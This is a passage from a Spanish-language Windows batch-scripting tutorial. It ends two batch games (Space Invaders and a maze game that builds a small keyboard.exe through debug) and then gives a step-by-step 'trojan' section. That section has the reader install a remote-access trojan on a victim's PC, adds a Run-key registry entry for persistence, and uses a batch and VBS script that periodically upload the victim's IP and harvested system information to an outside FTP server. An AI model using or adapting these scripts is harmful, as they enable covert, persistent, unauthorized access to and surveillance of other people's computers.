Set "!TmpCoord!=%Shot%"
Set "TmpShots=!TmpShots!,!TmpCoord!"
)
If "!TmpVal!"=="" (
Set "%%s= "
)
If "!TmpVal!"=="%Bound2%" (
Set "%%s= "
Set "!TmpCoord!= "
)
If "!TmpVal!"=="%Invader%" (
Set "%%s= "
Set "!TmpCoord!= "
Set /a "Points+=10"
Set /a "N_Invaders-=1"
Call Set "Invaders=%%Invaders:,!TmpCoord!=%%"
))
Set "Shots=%TmpShots:~1%"
Goto :Eof
:CkFire
For /f "tokens=1,2 delims=X,Y" %%g in ("%~1") do (
Set /a "MovY=%%h-1"
Set "%~2=X%%gY!MovY!"
Call Set "%~3=%%X%%gY!MovY!%%"
)
Goto :Eof

:MovPC
Set /a "Turn+=1"
Set /a "Dir=(%Turn% %% 6)+1"
If "%Dir%"=="1" Call :MovS "Invaders"
If "%Dir%"=="2" Call :MovS "Invaders"
If "%Dir%"=="3" Call :MovS "Invaders"
If "%Dir%"=="4" Call :MovS "Invaders"
If "%Dir%"=="5" Call :MovS "Invaders"
If "%Dir%"=="6" Call :MovS "Invaders"
Goto :Eof
::::::::::::::::::::::::::

"Invader"
"Invader"
"Invader"
"Invader"
"Invader"
"Invader"

"-" "L"
"-" "L"
"-" "L"
"+" "R"
"+" "R"
"+" "R"

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::
:MovS
Set "TmpTB="
Set "TmpTable=!%~1!"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X!%~4Bound!">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "%~31" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (!%~1!) do (Set "%%b=!%~2!")
Goto :Eof
))
Set "%~1=%TmpTB:~1%"
For %%d in (!%~1!) do (Set "%%d=!%~2!")
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
:::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]
{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Space Invaders by Smart
Echo.
Echo.
Has Perdido !
Echo.
Echo.
Points:%Points%
Echo.
Goto :End
:Win
Cls
Echo.
Echo. Space Invaders v 1
Echo. Coded by SmartGenius
Echo.
Echo. Points:%Points%
Echo.
Has Ganado !
Goto :End
:End
Echo.
Echo.
Gracias por Jugar
Echo. Space Invaders by Smart
Endlocal
Ping -n 3 localhost >nul
Exit

:::::::::::::::::::::::::::::::::
:Player
Set Player_Init=X6Y16,X7Y16,X8Y16,X7Y15
Set Player=%Player_Init%
For %%b in (%Player%) do (Set "%%b=%Bound%")
Goto :Eof
:Map
For %%a in (
X2Y13,X3Y12,X3Y13,X4Y12,X4Y13,X5Y13,
X8Y13,X9Y12,X9Y13,X10Y12,X10Y13,X11Y13,
X14Y13,X15Y12,X15Y13,X16Y12,X16Y13,X17Y13
) do (Set "%%a=%Bound2%")
For %%b in (
X2Y2,X2Y4,X4Y3,X6Y2,X6Y4,X8Y3,X10Y2,X10Y4,
X12Y3,X14Y2,X14Y4,X16Y3,X18Y2,X18Y4
) do (
Set "Invaders=!Invaders!,%%b"
Set "%%b=%Invader%")
Set "Invaders=%Invaders:~1%"
Set /a "N_Invaders=14"
Goto :Eof
::_0
::_0
::_0
::_0
::_0
::_0

xxxxxxxxxxxxxxxxxxxxxxxxx
xx9tYjYxWvxPrXmoLjqfzpxxx
xxxxxXhXxLBINRPFGBaxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxx
xPrXmoLjqfzpx9tms-x7545xx

:Help
Cls
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Invaders ?
Echo.
Echo. Use keys A,S,W,X
Echo.
Echo. A = Move Ship Left
Echo. S = Move Ship Down
Echo. W = Throw Fire
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Menu
:Logo
Cls
Color 0a
:L2
Echo.

Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo. INVADER
%~1
Echo.
Echo. #####
Echo. #####
Echo.
Echo. o
Echo.
Echo. o
Echo.
Echo.
Echo.
Echo.
Echo.
Echo. : SmartGenius :
Echo. Corp. 2010
Echo.
Pause >nul
Goto :Eof
16.-Maze Madness
Personalmente le considero el mejor de los tres, aunque nunca he odido ganar XD
@echo off
@title Maze Madness
@mode con cols=22 lines=20
::Batch Game Maze Madness
::by Splendit
::Based On SmartGenius Batch Game Logics
setlocal enabledelayedexpansion
If Not Exist Keyboard.exe (Call :Keyboard)
:Vars
Set LimX=16
Set LimY=16
Set IniX=0
Set IniY=0
Set MovX=0
Set MovY=0
Set "Bound="
Set "Space= "
Set "Player=O"
Set "Limit="
Set "Exit=X"

:Init
For /l %%a in (%IniX%,1,%LimX%) do (
For /l %%b in (%IniY%,1,%LimY%) do (
Set X%%aY%%b=%Limit%))
Call :Nivel_1
Set "X4Y6=%Player%"
Set Curpos=X4Y6
Goto :Graphic
:Graphic
Call :Clear
For /l %%d in (%IniX%,1,%LimY%) do (
For /l %%e in (%IniX%,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
Echo.
For /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
Echo.
If Defined MovL (
Ping -n 1 localhost >nul
Call :%MovL% "%CurPos%"
Goto :Graphic
) else (
Keyboard
)
If "%errorlevel%"=="77" (call :MovX "+" "%CurPos%")
If "%errorlevel%"=="75" (call :MovX "-" "%CurPos%")
If "%errorlevel%"=="80" (call :MovY "+" "%CurPos%")
If "%errorlevel%"=="72" (call :MovY "-" "%CurPos%")
If "%errorlevel%"=="88" (pause&exit)
If "%errorlevel%"=="120" (pause&exit)
Goto :Graphic
:MovY
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
if "%%q"=="%LimY%" Goto :Eof
Set /a MovY=%%q%~11
Call Set NMovY=%%X%%pY!MovY!%%
If "!NMovY!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovY!"=="%Exit%" (Goto :Win)
If "!NMovY!"=="%Limit%" (Goto :Lose)
Set X%%pY!MovY!=%Player%
Set CurPos=X%%pY!MovY!
Set MovL=MovY "%~1"
Set "%~2=%Space%")
Goto :Eof
:MovX
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
If "%%p"=="%LimX%" Goto :Eof
Set /a MovX=%%p%~11
Call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovX!"=="%Exit%" (Goto :Win)

If "!NMovX!"=="%Limit%" (Goto :Lose)


Set "X!MovX!Y%%q=%Player%"
Set "CurPos=X!MovX!Y%%q"
Set MovL=MovX "%~1"
Set "%~2=%Space%")
Goto :Eof
:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof
:Win
Cls
Echo.
Echo. Felicitaciones
Echo.
Echo. Completaste
Echo.
El Nivel
Echo.
Echo.
Pause >nul
Exit
:Lose
Cls
Echo.
Echo. Has Perdido
Echo.
Echo. Intenta de Nuevo
Echo.
Echo.
Set "MovL="
Pause >nul
Goto :Vars
:Nivel_1
For %%a in
(X1Y1,X1Y2,X1Y4,X1Y7,X1Y8,X1Y11,X2Y1,X2Y14,X2Y15,X3Y1,X3Y3,X3Y5,X3Y10,X3Y12,X4Y
1,X4Y7,X5Y9,X5Y10,X5Y11,X6Y5,X6Y9,X6Y11,X6Y15,X7Y1,X7Y5,X7Y11,X7Y15,X8Y3,X8Y11,
X8Y15,X9Y3,X9Y7,X9Y11,X9Y15,X10Y11,X10Y15,X11Y5,X11Y10,X11Y11,X11Y15,X12Y1,X1
2Y2,X12Y8,X12Y13,X13Y3,X13Y6,X13Y7,X13Y8,X13Y9,X13Y13,X14Y1,X14Y15,X15Y3,X15Y
4,X15Y7,X15Y11,X15Y12,X15Y14,X15Y15) do (Set %%a=%Bound%)
For %%a in
(X1Y3,X1Y5,X1Y6,X1Y9,X1Y10,X1Y12,X1Y13,X1Y14,X1Y15,X2Y2,X2Y3,X2Y4,X2Y5,X2Y6,X2Y
7,X2Y8,X2Y9,X2Y10,X2Y11,X2Y12,X2Y13,X3Y2,X3Y4,X3Y6,X3Y7,X3Y8,X3Y9,X3Y11,X3Y13,X
3Y14,X3Y15,X4Y2,X4Y3,X4Y4,X4Y5,X4Y8,X4Y9,X4Y10,X4Y11,X4Y12,X4Y13,X4Y14,X4Y15,X
5Y1,X5Y2,X5Y3,X5Y4,X5Y5,X5Y6,X5Y7,X5Y8,X5Y12,X5Y13,X5Y14,X5Y15,X6Y1,X6Y2,X6Y3,X
6Y4,X6Y6,X6Y7,X6Y8,X6Y10,X6Y12,X6Y13,X6Y14,X7Y2,X7Y3,X7Y4,X7Y6,X7Y8,X7Y9,X7Y10,
X7Y12,X7Y13,X7Y14,X8Y1,X8Y2,X8Y4,X8Y5,X8Y6,X8Y7,X8Y8,X8Y9,X8Y10,X8Y12,X8Y13,X8
Y14,X9Y1,X9Y2,X9Y4,X9Y5,X9Y6,X9Y8,X9Y9,X9Y10,X9Y12,X9Y13,X9Y14,X10Y1,X10Y2,X10
Y3,X10Y4,X10Y5,X10Y6,X10Y7,X10Y8,X10Y9,X10Y10,X10Y12,X10Y13,X10Y14,X11Y1,X11Y
2,X11Y3,X11Y4,X11Y6,X11Y7,X11Y8,X11Y9,X11Y12,X11Y13,X11Y14,X12Y3,X12Y4,X12Y5,X
12Y6,X12Y7,X12Y9,X12Y10,X12Y11,X12Y12,X12Y14,X12Y15,X13Y1,X13Y2,X13Y4,X13Y5,X
13Y10,X13Y11,X13Y12,X13Y14,X13Y15,X14Y2,X14Y3,X14Y4,X14Y5,X14Y6,X14Y7,X14Y8,X

14Y9,X14Y10,X14Y11,X14Y12,X14Y13,X14Y14,X15Y1,X15Y2,X15Y5,X15Y6,X15Y8,X15Y9,X
15Y10,X15Y13) do (Set %%a=%Space%)
Set "X7Y7=%Exit%"
Goto :Eof
:Keyboard
Echo. Cargando...
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof

17.-Un

troyano paso a paso

Y bueno, este es el ultimo ejercicio resuelto de este tuto, a su vez una de las razones
fundamentales de porque se creo.
Este ejemplo de troyano estara en medio de lo que conocemos como un RAT (troyano de conexin
inversa) y un troyano clsico como el "Radmin" de conexin directa, este programa aparece en las
primeras revistas de hackxcrack y es el que usaremos en este caso tratando de "inmortalizar" su
conexin.
Los RATs son actualmente elegidos para "auditar" seguridad en PCs remotos ya que saltean la
seguridad de los antivirus conectando la vctima a nosotros en lugar de nosotros a ellos adems de
asegurar la conexin si la IP vctima cambia.
Pero... que pasa si NUESTRA IP cambia ?? ... Pfff esta miseria no se acaba... bueno para eso
tenemos que usar lo DNS, pero...
Que pasara si instalamos un server cualquiera y creamos un cdigo para que nos enve la IP
vctima de vez en cuando, de manera que siempre podamos recuperar la conexin, sin acudir a "no
IP" ni a nada de nada ??... Pues este es el proyecto que vamos a hacer !!
Observacin:
Como mi idea principal reflejada en este tuto es sacar el mximo provecho de batch y dems esta
decir que la idea es perfeccionar una conexion asegurando la mxima correccin de errores es que
junto con WhiZ (mencionado al principio de este tuto) creamos este proyecto que combina batch,
un poco de Basic y un troyano, en este caso el Radmin, dicho sea de paso que por mi poca
experiencia "lastimosamente" tendr que hacerlo de esta manera, ya que mi idea habra sido
hacerlo o todo con batch o por lo menos todo con cdigo. pero dejemos este proyecto en
perfeccionamiento vale ??
bien, dicho todo vaymonos a la practica.

1.- Instalas un troyano: Si no sabes que hacer en este punto baja de Internet un "servidor" lo mas
completo posible y fjate en que sea compatible con tu S.O. y el de la vctima, tambin que no sea
un demo.
2.-Ahora, teniendo tu server instalado en la vctima y configurado todo pasemos a la parte de
"inmortalizar la conexin" de manera que si la IP vctima cambia o perdamos el acceso.

Para ello creamos un batch con el siguiente cdigo:


::-------------------------------------@echo off
title prueba
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v recuperadordeip t/ REG_SZ /d
C:\Windows\security\audit\micarpeta\secondbat.bat /f
start second.bat
::--------------------------------------Que hace este bat?, pues bsicamente crea una entrada de registro para "secondbat.bat" para que
se ejecute solo cada vez que el PC enciende, no necesitas activarlo pero OJO, tiene que estar en la
carpeta a la que hace referencia, en este caso debera estar en
"C:\Windows\security\audit\micarpeta\secondbat.bat" o de lo contrario no resultara.

Ahora el segundo cdigo, secondbat.bat:


::------------------------------------------@echo off
:test
ping www.google.com
if %errorlevel%==0 (goto:conectado) else (
ping 127.o.o.1 -n 36000 >>null
goto:test)
:conectado
start ipsend.vbs
ping 127.o.o.1 -n 15 >>null
ftp -s:datosftp.txt 31.170.160.92
ping 127.0.0.1 -n 15 >>null
del archivo.html
::------------------------------------------------... Si algo has aprendido en este tuto te preguntaras: Porque dos bat en lugar de solo uno ??.
Pues podra haber sido uno, solo que:
para que la entrada del registro del primer bat no se sobrescriba "a cada rato" es que se decidi
aislar un poco cada cdigo, de todas manera podra haber sido uno, pero quiz menos estable...
Y bien, este segundo batch tiene dos funciones, primero pregunta si estas conectado y de ser as
ejecuta un tercer cdigo llamado "ipsend.vbs" y luego enva su resultado a una direccin ftp
usando un archivo necesario para esto.

El cdigo en vbs (ipsend.vbs)

Dim oXMLHTTP
Dim oStream
Set oXMLHTTP = CrateObject("MSXML2.XMLHTTP.3.0")
oXMLHTTP.Open "GET", "http://www.miip.net", False
oXMLHTTP.Send
If oXMLHTTP.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write oXMLHTTP.responseBody
oStream.SaveToFile "archivo.html"
oStream.Close
End If
...Y por ultimo, el archivo de texto, solo crea un block de notas en la carpeta de tu programa y dale
por nombre "datosftp.txt" con el siguiente contenido:
Username
pass
comando
comando
comando
Donde Username es el usuario, Pass es la clave de ingreso y comando es algn comando que
quieras activar para que se ejecute. Pra esta parte tienes que tener primeramente un servicio de
ftp, puedes obtenerlo en muchos sitios hoy en dia, muchos gratis. :)
...Em el fondo el txt es como "la llave de tu ftp"
Y entonces:
Tienes un troyano en tu victima, puedes acceder a elle constantemente, luego cambia de ip...
Buuuu :( ...
Luego revisas tu hosting ftp y lees tu archivos, veras cual es la nueva ip, re configuras tu cliente y...
Buala !! tu problema solucionado :)
Ahora, si todo esto te pareci demasiado difcil... o eres muy flojo o te falta aprender un poco de:
1-Servidores y clientes de acceso remoto (troyanos)
2-Servidiores, clientes y servicios de ftp (hosting o espacio en la red)
3- "Parmetros ftp"
3-Leerte bien el tuto y manejarte con lo bsico
Yo por mi parte mas all no puedo dar detalles, la idea es ensearte pero no puedo entregarte "en
la mano" una herramienta como esta si saber que nivel de madures usaras para ella, solo recuerda
no hacer nada que no te gustara que te hicieran a ti vale?
NOTA:
Este es el proyecto original de como nos quedo con Whiz, aunque "quedo" suena grande
considerando que en ese momento yo no sabia casi nada y los cdigos son de el, a mi solo se me
ocurri el concepto y lo pregunte en el foro.
Por otro lado, siempre con el animo de perfeccionar, cree el cdigo "bilolo" puesto en este mismo
tuto, ahora, imagina que en ves de enviar un archivo html a su hosting ftp aades el cdigo bilolo

al bat y envas:
- El html con la IP externa, pudiendo incluir la direccin fsica de -google maps
- El info.txt de bilolo con 9 tipos de informaciones distintas del sistema, versin, carpeta de
ejecucin, rbol de archivos en formato grfico, informaciones de mac, ip, SO, drivers, procesos,
etc...
-all.txt con informacin de WMIC
Pare esto solo edita el primer bat, recuerda que puede ser solo uno con todas estas funciones..

Despedida:

Bueno esta es la parte mas triste del tuto :(


Espero que les haya servido mucho leer estas paginas, complementen siempre y NUNCA
se queden con lo que uno les dice...
Te pido que hagas el mojor uso de todo lo que puedas aprender en este humilde obsequio
ya que en algunas ocasiones el precio del conocimiento suele ser alto.
Este es mi primer tuto y la primera parte del tuto de batch que estoy haciendo...office me
dio problemas, tuve que formatear, utilice versiones a mas no poder de procesadores
distintos de texto, escrib en linux y en windows, perd en mas de una ocasin informacin
y tube que luchar contra la incompatibilidad de software, baje, probe y desinstale
programas, comenc todo de nuevo... Ufff todo esto ha sido un tremendo desafo.
Te ruego que lo valores y saques el mximo provecho vale ? :)
Saludos
Halsenheim
osmendezr1@hotmail.com

NOTA:
Habrs notado que algunas lineas de cdigo comienzan sin un comando al
principio, esto se debe a que el editor de texto tiene "margen de hoja", lo que
un block de notas NO TIENE, por lo que si lo copias al block veras que algunos
cdigos confusos toman forma y se hacen mas "legibles". De todos modos si no
puedes copiar el texto tendrs que bajar un editor de pdf o "ESTUDIAR" para
comprender y saber aplicar. Personalmente trate de evitar esto, pero como
algunos cdigos son de terceros no los edite y estn "tal cual" ellos los crearon
por respeto a esas personas.
Este tutorial NO TIENE derechos de autora, "COMO TODO O CASI TODO EL
MATERIAL EN EL MUNDO HACKER". La filosofa de un hacker es que el
conocimiento pertenece a todos, pero oye, nada te cuesta reconocer el esfuerzo
y no robarte el crdito, piensa que es lo nico que tengo ;(
Ahora, si usas una herramienta aqu expuesta para fines "malandras" entonces
si debes borrar el nombre ja :D
Aunque te aconsejo que tengas mucho cuidado en lo que haces, piensa bien todo
antes e actuar... Seria muy fcil crear un bat para robar la informacin valiosa de
un centro de Internet (por ejemplo), tu oficina o "el PC del jefe", pero si alguien
te demanda o te descubren ya no podrs echar pie atrs o crear un bat para salir
de la crcel o para pedir trabajo.
Piensa en ello ;)

POR ULTIMO:
En la seccin "proyectos de inters" he puesto una serie de cdigos terminados,
algunos mos y otros no para que los uses a modo de ejercicios resueltos. La
mayora estn dentro de los parmetros de este tuto, pero uno que otro se
escapa... Aquellos sern explicados en la segunda parte ya que si sigo
escribiendo ms alcanzare demasiadas paginas y no quiero hacer algo tan largo
que de solo verlo quite las ganas jeje :(
Por lo dems, tampoco soy el campen mundial de Batch, bien he dejado en
claro que este es mi primer tutorial, por favor no sean tan duros a la hora de
criticar :(
Dentro de los "proyectos de inters" hay algunos codes que aun estoy
perfeccionando (como los juegos por ejemplo), pero un vez consiga dominarlos
perfectamente podre exponerlos como es debido en el prximo tuto. Esta vez los
he puesto solo para mostrrtelos a ti y como un regalo... adems de "tapar la
boca" a quienes dicen que con batch no se puede hacer nada. Quera dejarlo
esto en claro. :D
Hasta entonces...
:)

También podría gustarte